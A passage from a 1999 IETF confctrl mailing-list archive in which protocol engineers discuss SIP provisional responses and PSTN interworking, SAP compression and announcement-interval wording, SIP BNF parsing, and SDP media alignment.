> UAS could probably send this back and the sender knows that he must issue
> further INVITEs to establish a media comm.

No; if B isn't ready to receive media yet, but wants to signal the
caller that the INVITE was received, it sends a 100 Trying (or any
provisional response, in fact). Once its ready, it then sends a 200 OK.

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Apr 16 11:01:23 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA04427
	for confctrl-outgoing; Fri, 16 Apr 1999 11:01:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA04422
	for <confctrl@zephyr.isi.edu>; Fri, 16 Apr 1999 11:01:21 -0700 (PDT)
Received: from mail-blue.research.att.com (mail-blue.research.att.com [135.207.30.102])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA19010
	for <confctrl@isi.edu>; Fri, 16 Apr 1999 11:01:20 -0700 (PDT)
Received: from alliance.research.att.com (alliance.research.att.com [135.207.26.26])
	by mail-blue.research.att.com (Postfix) with ESMTP id A79A54CE2E
	for <confctrl@isi.edu>; Fri, 16 Apr 1999 14:01:19 -0400 (EDT)
Received: from windsor.research.att.com (windsor.research.att.com [135.207.26.46])
	by alliance.research.att.com (8.8.7/8.8.7) with ESMTP id OAA22626
	for <confctrl@isi.edu>; Fri, 16 Apr 1999 14:01:18 -0400 (EDT)
From: Bill Fenner <fenner@research.att.com>
Received: (from fenner@localhost)
	by windsor.research.att.com (8.8.7/8.8.5) id OAA12810;
	Fri, 16 Apr 1999 14:01:17 -0400 (EDT)
Message-Id: <199904161801.OAA12810@windsor.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
To: confctrl@ISI.EDU
Subject: Status of SAP - particularly compression + authentication
Date: Fri, 16 Apr 1999 11:01:17 -0700
Versions: dmail (solaris) 2.2c/makemail 2.8t
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Is there anyone working on the SAP specification?  I have two issues
that are not addressed by the November 1996 draft-ietf-mmusic-sap-00.ps,
which is the most recent specification for SAPv1 that I know of.

1) Compression algorithm.  The spec says to use the gzip format
(RFC 1952).  The gzip format is simply a wrapper for the DEFLATE
algorithm (RFC 1951), and contains a fairly large header with
data that's not useful in the context of SAP.  The zlib format
(RFC 1950) is another wrapper around the DEFLATE algorithm which
has the following advantages:
- Smaller header
- Easier to implement (there's a reference zlib implementation)

In addition, the only program that creates compressed SAP that I know
of (Real's G2 server) sends zlib format.

Does anyone have any objection to changing the specification to use
zlib format instead of gzip format?

2) Compression + authentication order.  The spec does not explicitly
say in what order compression and authentication should be performed.
Since authentication information can be large, it makes sense to
me to allow it to be part of the compressed payload, but it's
possible that implementations could choose a different order.

Does anyone have any objections to specifying that the order of
operations for transmission is authenticate, compress, encrypt,
and the order for reception is decrypt, uncompress, authenticate?



On the larger issue of the SAP spec itself, is it appropriate to
try to make these changes in the 2.5 year old SAPv1 spec and
maybe advance it, or should we incorporate all of the missing
info into the SAPv2 spec and focus efforts there?

Thanks,
  Bill

From confctrl-owner  Sat Apr 17 09:56:48 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA16856
	for confctrl-outgoing; Sat, 17 Apr 1999 09:56:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA16851
	for <confctrl@zephyr.isi.edu>; Sat, 17 Apr 1999 09:56:46 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA05255
	for <confctrl@isi.edu>; Sat, 17 Apr 1999 09:56:45 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA28841
	for <confctrl@isi.edu>; Sat, 17 Apr 1999 12:56:44 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA21181
	for <confctrl@isi.edu>; Sat, 17 Apr 1999 12:56:43 -0400 (EDT)
Message-ID: <3718BD4B.B317F698@cs.columbia.edu>
Date: Sat, 17 Apr 1999 12:56:43 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Simplified BNF
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Currently, the SIP (and HTTP) BNF allows quoted strings and comments to
include escaped newlines. This makes multi-stage parsing a bit of a
pain, since you can't separate the input into lines without looking for
quoted strings or comments. I can't think of a real good use for putting
\n into a comment or string, so one possibility is to disallow \n or \r
in quoted strings in a future version of the spec. 

Disadvantage: it diverges from HTTP conventions.

(Jonathan R. pointed this out.)

Any comments?
-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Sun Apr 18 05:11:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA17511
	for confctrl-outgoing; Sun, 18 Apr 1999 05:11:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA17506
	for <confctrl@zephyr.isi.edu>; Sun, 18 Apr 1999 05:11:12 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id FAA14477
	for <confctrl@ISI.EDU>; Sun, 18 Apr 1999 05:11:11 -0700 (PDT)
Received: from lynn.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.02936-0@bells.cs.ucl.ac.uk>; Sun, 18 Apr 1999 13:11:08 +0100
To: Bill Fenner <fenner@research.att.com>
cc: confctrl@ISI.EDU, P.Kirstein@cs.ucl.ac.uk, c.perkins@cs.ucl.ac.uk
Subject: Re: Status of SAP - particularly compression + authentication
In-reply-to: Your message of "Fri, 16 Apr 1999 11:01:17 PDT." <199904161801.OAA12810@windsor.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <469.924437419.1@cs.ucl.ac.uk>
Date: Sun, 18 Apr 1999 13:10:19 +0200
Message-ID: <470.924437419@cs.ucl.ac.uk>
From: Peter KIRSTEIN <P.Kirstein@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In message <199904161801.OAA12810@windsor.research.att.com>you write:
>
>Is there anyone working on the SAP specification?  I have two issues
>that are not addressed by the November 1996 draft-ietf-mmusic-sap-00.ps,
>which is the most recent specification for SAPv1 that I know of.

I think that we are responsible, and I will ask Colin to look at this.

Peter
>
>1) Compression algorithm.  The spec says to use the gzip format
>(RFC 1952).  The gzip format is simply a wrapper for the DEFLATE
>algorithm (RFC 1951), and contains a fairly large header with
>data that's not useful in the context of SAP.  The zlib format
>(RFC 1950) is another wrapper around the DEFLATE algorithm which
>has the following advantages:
>- Smaller header
>- Easier to implement (there's a reference zlib implementation)
>
>In addition, the only program that creates compressed SAP that I know
>of (Real's G2 server) sends zlib format.
>
>Does anyone have any objection to changing the specification to use
>zlib format instead of gzip format?
>
>2) Compression + authentication order.  The spec does not explicitly
>say in what order compression and authentication should be performed.
>Since authentication information can be large, it makes sense to
>me to allow it to be part of the compressed payload, but it's
>possible that implementations could choose a different order.
>
>Does anyone have any objections to specifying that the order of
>operations for transmission is authenticate, compress, encrypt,
>and the order for reception is decrypt, uncompress, authenticate?
>
>
>
>On the larger issue of the SAP spec itself, is it appropriate to
>try to make these changes in the 2.5 year old SAPv1 spec and
>maybe advance it, or should we incorporate all of the missing
>info into the SAPv2 spec and focus efforts there?
>
>Thanks,
>  Bill









Peter

X*********************************************************************X
* Prof Peter Kirstein		   Telephone:  +44 171 380 7286	
* Department of Computer Science   Fax:        +44 171 387 1397
* University College London        Telex:      28722
* Gower Street                     Internet:   kirstein@cs.ucl.ac.uk
* London 
* WC1E 6BT                      
* U.K			URL    : http://www.cs.ucl.ac.uk/staff/kirstein
X*********************************************************************X


From confctrl-owner  Sun Apr 18 08:11:41 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA22344
	for confctrl-outgoing; Sun, 18 Apr 1999 08:11:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA22339
	for <confctrl@zephyr.isi.edu>; Sun, 18 Apr 1999 08:11:40 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA18641
	for <confctrl@ISI.EDU>; Sun, 18 Apr 1999 08:11:39 -0700 (PDT)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.05413-0@bells.cs.ucl.ac.uk>; Sun, 18 Apr 1999 16:11:36 +0100
To: Bill Fenner <fenner@research.att.com>
cc: confctrl@ISI.EDU
Subject: Re: Status of SAP - particularly compression + authentication
In-reply-to: Your message of "Fri, 16 Apr 1999 11:01:17 PDT." <199904161801.OAA12810@windsor.research.att.com>
Date: Sun, 18 Apr 1999 16:10:49 +0100
Message-ID: <1322.924448249@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Bill Fenner writes:
>
>Is there anyone working on the SAP specification?  I have two issues
>that are not addressed by the November 1996 draft-ietf-mmusic-sap-00.ps,
>which is the most recent specification for SAPv1 that I know of.

I volunteered to act as editor at the last IETF, and hope to get a revised
draft out before the next meeting.

>1) Compression algorithm.  The spec says to use the gzip format
>(RFC 1952).  The gzip format is simply a wrapper for the DEFLATE
>algorithm (RFC 1951), and contains a fairly large header with
>data that's not useful in the context of SAP.  The zlib format
>(RFC 1950) is another wrapper around the DEFLATE algorithm which
>has the following advantages:
>- Smaller header
>- Easier to implement (there's a reference zlib implementation)
>
>In addition, the only program that creates compressed SAP that I know
>of (Real's G2 server) sends zlib format.
>
>Does anyone have any objection to changing the specification to use
>zlib format instead of gzip format?

Seems sensible to me...

>2) Compression + authentication order.  The spec does not explicitly
>say in what order compression and authentication should be performed.
>Since authentication information can be large, it makes sense to
>me to allow it to be part of the compressed payload, but it's
>possible that implementations could choose a different order.
>
>Does anyone have any objections to specifying that the order of
>operations for transmission is authenticate, compress, encrypt,
>and the order for reception is decrypt, uncompress, authenticate?

Again, seems okay.

>On the larger issue of the SAP spec itself, is it appropriate to
>try to make these changes in the 2.5 year old SAPv1 spec and
>maybe advance it, or should we incorporate all of the missing
>info into the SAPv2 spec and focus efforts there?

I was aiming for a merger of the two documents, since the v2 spec is
backwards compatible anyway.

Cheers,
Colin

From confctrl-owner  Sun Apr 18 17:37:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA07773
	for confctrl-outgoing; Sun, 18 Apr 1999 17:37:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA07768
	for <confctrl@zephyr.isi.edu>; Sun, 18 Apr 1999 17:37:12 -0700 (PDT)
Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA05793
	for <confctrl@ISI.EDU>; Sun, 18 Apr 1999 17:37:11 -0700 (PDT)
Received: from mg134-203.ricochet.net (mg134-203.ricochet.net [204.179.134.203])
	by proxy3.ba.best.com (8.9.3/8.9.2/best.out) with SMTP id RAA17063;
	Sun, 18 Apr 1999 17:35:35 -0700 (PDT)
Message-Id: <3.0.5.16.19990418162130.0bef633e@shell7.ba.best.com>
X-Sender: rsf@shell7.ba.best.com
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (16)
Date: Sun, 18 Apr 1999 16:21:30
To: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
From: Ross Finlayson <finlayson@live.com>
Subject: Re: Status of SAP
Cc: confctrl@ISI.EDU
In-Reply-To: <1322.924448249@cs.ucl.ac.uk>
References: <Your message of "Fri, 16 Apr 1999 11:01:17 PDT." <199904161801.OAA12810@windsor.research.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 04:10 PM 4/18/99 +0100, Colin Perkins wrote:
>I volunteered to act as editor at the last IETF, and hope to get a revised
>draft out before the next meeting.

-----
Colin (cc. "confctrl"),

As you're updating the SAP spec, please note also some comments/suggestions
of my own.  (I first posted this around the end of February, but thought
I'd repeat this, in case it fell through the cracks.)

	Ross.

------- my earlier msg ------------
I'm not sure what the status of the SAP spec is these days, or who's
working on it, but from reading the version at
<ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sap-00.txt> - the only
version I could find - I noticed some unclear wording that should be fixed
before the spec advances further.

The issue concerns the method that a SAP announcer uses to compute the
delay between successive announcements for an advertisement.

The spec curretly says:

"The time period between one announcement and its repetition is dependent
on two factors - the scope (TTL) of the session, and the number of other
sessions currently being announced by other session directory instances."

[This is OK]

Then later,

"Session announcers in the same scope band can normally  be  expected  to
hear  your announcements, and reduce their data rates accordingly.  Thus
you should calculate the available bandwidth for  your  session's  scope
band  by  dividing  the  appropriate  limit above by the number of other
                                                                   ^^^^^
announcers in your scope band.  This gives you  your  bandwidth  alloca-
^^^^^^^^^^
tion,  which, given the size of your data packets, can be used to derive
the base interval for announcements."

The problem is the phrase "other announcers".  Instead, it should be
"different advertisements (including your own)".  Note that the formula
following this:

         interval =MAX(300, (8*no_of_ads*ad_size)/limit)

is correct, because it uses a variable named "no_of_ads".  It would be
clearer, however, if the formula referred directly to the "available
bandwidth" (say, B) that was defined above; this would make the formula:

         interval =MAX(300, (8**ad_size)/B)


A second, related issue that needs to be clarified in the spec concerns how
to handle the case where the same announcement is being advertised by more
than one party.  This can be useful, for instance, if the advertisement is
for a multi-source session, where the sources are distributed, and you want
to increase the likelihood of everyone seeing the announcement.  (In this
case, each source might wish to participate in the advertising of the
session.)

To address this case, the spec should make it clear that the available
bandwidth for announcing this session is shared by all of its announcers -
not allocated to each announcer individually.  So, with this in mind, the
available bandwidth *per announcer* - to be used for calculating the delay
interval - should be defined as:

    limit
B = -----------------------------------------------------------------------
    (# of different advertisements)*(# of announcers for our advertisement)


	Ross.


From confctrl-owner  Sun Apr 18 20:15:58 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA12327
	for confctrl-outgoing; Sun, 18 Apr 1999 20:15:58 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA12322
	for <confctrl@zephyr.isi.edu>; Sun, 18 Apr 1999 20:15:56 -0700 (PDT)
Received: from mx01.lab.jvcasia.com.sg ([203.120.195.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA10913
	for <confctrl@ISI.EDU>; Sun, 18 Apr 1999 20:15:51 -0700 (PDT)
Received: from pc3 (pc3.lab.jvcasia.com.sg [136.198.103.199])
	by mx01.lab.jvcasia.com.sg (8.9.1/8.9.1) with SMTP id LAA11026
	for <confctrl@ISI.EDU>; Mon, 19 Apr 1999 11:15:16 +0800 (SGT)
Message-ID: <005701be8a13$487213c0$ca4d15a5@lab.jvcasia.com.sg>
From: "Zhishou, Zhang" <zhang@lab.jvcasia.com.sg>
To: <confctrl@ISI.EDU>
Date: Mon, 19 Apr 1999 11:18:19 +0800
Organization: jvc asia
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_004F_01BE8A56.54AE9260"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_004F_01BE8A56.54AE9260
Content-Type: text/plain;
	charset="hz-gb-2312"
Content-Transfer-Encoding: quoted-printable

UNSUBSCRIBE

------=_NextPart_000_004F_01BE8A56.54AE9260
Content-Type: text/html;
	charset="hz-gb-2312"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dhz-gb-2312" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2014.210" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>UNSUBSCRIBE</FONT></DIV></BODY></HTML>

------=_NextPart_000_004F_01BE8A56.54AE9260--


From confctrl-owner  Mon Apr 19 07:45:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA01930
	for confctrl-outgoing; Mon, 19 Apr 1999 07:45:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA01925
	for <confctrl@zephyr.isi.edu>; Mon, 19 Apr 1999 07:45:36 -0700 (PDT)
Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA05246
	for <confctrl@isi.edu>; Mon, 19 Apr 1999 07:45:35 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id KAA09337
	for <confctrl@isi.edu>; Mon, 19 Apr 1999 10:45:19 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id PAA19622;
	Mon, 19 Apr 1999 15:45:32 +0100 (BST)
Message-ID: <371B418C.4BC100B2@hplb.hpl.hp.com>
Date: Mon, 19 Apr 1999 15:45:32 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl <confctrl@ISI.EDU>
Subject: SDP media alignment in SIP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On the subject of aligning SDP media streams rfc2543 says:

   The caller and callee align their media descriptions so that the nth
   media stream ("m=" line) in the caller's session description
   corresponds to the nth media stream in the callee's description.

As far as I can tell this is not possible in the case where the caller
has a single m= line citing multiple codecs (which is very common) and
the callee supports at least two of them but on different port numbers.
In this case the callee would appear to have to use multiple m= lines in
the response.

Cheers,
Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Mon Apr 19 13:48:44 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA16366
	for confctrl-outgoing; Mon, 19 Apr 1999 13:48:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA16361
	for <confctrl@zephyr.isi.edu>; Mon, 19 Apr 1999 13:48:42 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA12800
	for <confctrl@ISI.EDU>; Mon, 19 Apr 1999 13:48:38 -0700 (PDT)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id PAA19740;
	Mon, 19 Apr 1999 15:50:18 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id PAA23541;
	Mon, 19 Apr 1999 15:48:02 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id PAA10914; Mon, 19 Apr 1999 15:48:00 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id PAA24522;
	Mon, 19 Apr 1999 15:47:58 -0500 (CDT)
Message-Id: <199904192047.PAA24522@b04a24.exu.ericsson.se>
Subject: Re: Behavior of SIP Callee user agent
To: John.H.Hearty@wcom.com (John Hearty)
Date: Mon, 19 Apr 1999 15:47:57 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <19990412204703.IXLN14456@localHost> from "John Hearty" at Apr 12, 99 03:47:00 pm
From: Adam.Roach@Ericsson.com (Adam B. Roach)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Well, never mind.  I found reference that the user agent SHOULD respond
>with a 1xx as soon as possible if it can't give a final response within
>200 ms.  This begs the question of what message(s) should map back to
>an ACM on ISUP.  

But you probably don't want the call to fall down in the case that it
doesn't. This is a tricky issue. As I understand it, the ACM is meant
to indicate that a full set of digits has been entered; this is 
different from the purpose of the 1xx messages. You may want to consider
sending back an ACM as soon as your gateway has determined that a complete
number has been sent. This has some complicated implications for gateways
which have to support overlapped dialing (unless you just perform a
simple timeout) -- but I'm digressing too far into implementation issues.

My point is that, since they mean different things, you probably shouldn't
wait for a 1xx to send an ACM.  By doing so, you gain nothing and risk 
interoperability problems.

> That brings up the issue of what a PSTN originator will hear.  If
>a 100 Trying maps to an ACM, it would seem the originator would hear
>dead air unless some requirements were defined for gateways to send
>ringback when 100 Trying was received and mapped to an ACM.

And, even then, you may leave the caller in the unexpected situation
where he hears a few ring tones, followed by a busy signal (in the
situation where the 100 is followed by a 486 or 600). It may be better
to, as Arjun suggests, send some sort of call progressing tone until
you get an actual 180 or final response.

--
Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
Ericsson Inc.              | Fax: +1 972 669 0154 | Richardson, TX 75081
adam.roach@ericsson.com    |                  <*> | USA

From confctrl-owner  Mon Apr 19 17:07:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA24747
	for confctrl-outgoing; Mon, 19 Apr 1999 17:07:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA24742
	for <confctrl@zephyr.isi.edu>; Mon, 19 Apr 1999 17:07:22 -0700 (PDT)
Received: from smtprich.nortel.com (smtprich.nortel.com [192.135.215.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA06136
	for <confctrl@ISI.EDU>; Mon, 19 Apr 1999 17:07:22 -0700 (PDT)
Received: from zrtpd004.us.nortel.com (actually nrtpd004) 
          by smtprich.nortel.com; Mon, 19 Apr 1999 19:06:40 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) 
          id <JB0LR09G>; Mon, 19 Apr 1999 20:06:40 -0400
Message-ID: <C51ED84B6F47D211917A0000F8BCBD11011AA80F@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: confctrl@ISI.EDU
Subject: RE: Behavior of SIP Callee user agent
Date: Mon, 19 Apr 1999 20:06:37 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

What a lot of PSTN interworking problems would be solved if SIP assumed a
reliable transport end-to-end and we could count on "100 Trying" to carry
back the ACM and the "180 Ringing" to carry back the SDP to trigger ringing!

> -----Original Message-----
> From:	Adam.Roach@Ericsson.com [SMTP:Adam.Roach@Ericsson.com]
> Sent:	Monday, April 19, 1999 4:48 PM
> To:	John.H.Hearty@wcom.com
> Cc:	confctrl@ISI.EDU
> Subject:	Re: Behavior of SIP Callee user agent
> 
> > Well, never mind.  I found reference that the user agent SHOULD respond
> >with a 1xx as soon as possible if it can't give a final response within
> >200 ms.  This begs the question of what message(s) should map back to
> >an ACM on ISUP.  
> 
> But you probably don't want the call to fall down in the case that it
> doesn't. This is a tricky issue. As I understand it, the ACM is meant
> to indicate that a full set of digits has been entered; this is 
> different from the purpose of the 1xx messages. You may want to consider
> sending back an ACM as soon as your gateway has determined that a complete
> number has been sent. This has some complicated implications for gateways
> which have to support overlapped dialing (unless you just perform a
> simple timeout) -- but I'm digressing too far into implementation issues.
> 
> My point is that, since they mean different things, you probably shouldn't
> wait for a 1xx to send an ACM.  By doing so, you gain nothing and risk 
> interoperability problems.
> 
> > That brings up the issue of what a PSTN originator will hear.  If
> >a 100 Trying maps to an ACM, it would seem the originator would hear
> >dead air unless some requirements were defined for gateways to send
> >ringback when 100 Trying was received and mapped to an ACM.
> 
> And, even then, you may leave the caller in the unexpected situation
> where he hears a few ring tones, followed by a busy signal (in the
> situation where the 100 is followed by a 486 or 600). It may be better
> to, as Arjun suggests, send some sort of call progressing tone until
> you get an actual 180 or final response.
> 
> --
> Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS
> L-04
> Ericsson Inc.              | Fax: +1 972 669 0154 | Richardson, TX 75081
> adam.roach@ericsson.com    |                  <*> | USA

From confctrl-owner  Mon Apr 19 18:41:50 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA01312
	for confctrl-outgoing; Mon, 19 Apr 1999 18:41:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA01307
	for <confctrl@zephyr.isi.edu>; Mon, 19 Apr 1999 18:41:48 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA12945
	for <confctrl@isi.edu>; Mon, 19 Apr 1999 18:41:48 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA27489;
	Mon, 19 Apr 1999 21:41:46 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA05496;
	Mon, 19 Apr 1999 21:41:45 -0400 (EDT)
Message-ID: <371BDB59.F7B4C477@cs.columbia.edu>
Date: Mon, 19 Apr 1999 21:41:45 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: RE: Behavior of SIP Callee user agent
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Tom Taylor wrote:

> What a lot of PSTN interworking problems would be solved if SIP assumed a
> reliable transport end-to-end and we could count on "100 Trying" to carry
> back the ACM and the "180 Ringing" to carry back the SDP to trigger
> ringing!

This is what the SIP extensions for reliable 1xx responses are supposed
to address (see the Internet draft on the topic). They need to be
finalized; comments are most appreciated.
-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Apr 19 19:40:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA03466
	for confctrl-outgoing; Mon, 19 Apr 1999 19:40:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA03461
	for <confctrl@zephyr.isi.edu>; Mon, 19 Apr 1999 19:40:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA17154
	for <confctrl@isi.edu>; Mon, 19 Apr 1999 19:40:01 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Mon Apr 19 22:39:40 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.219])
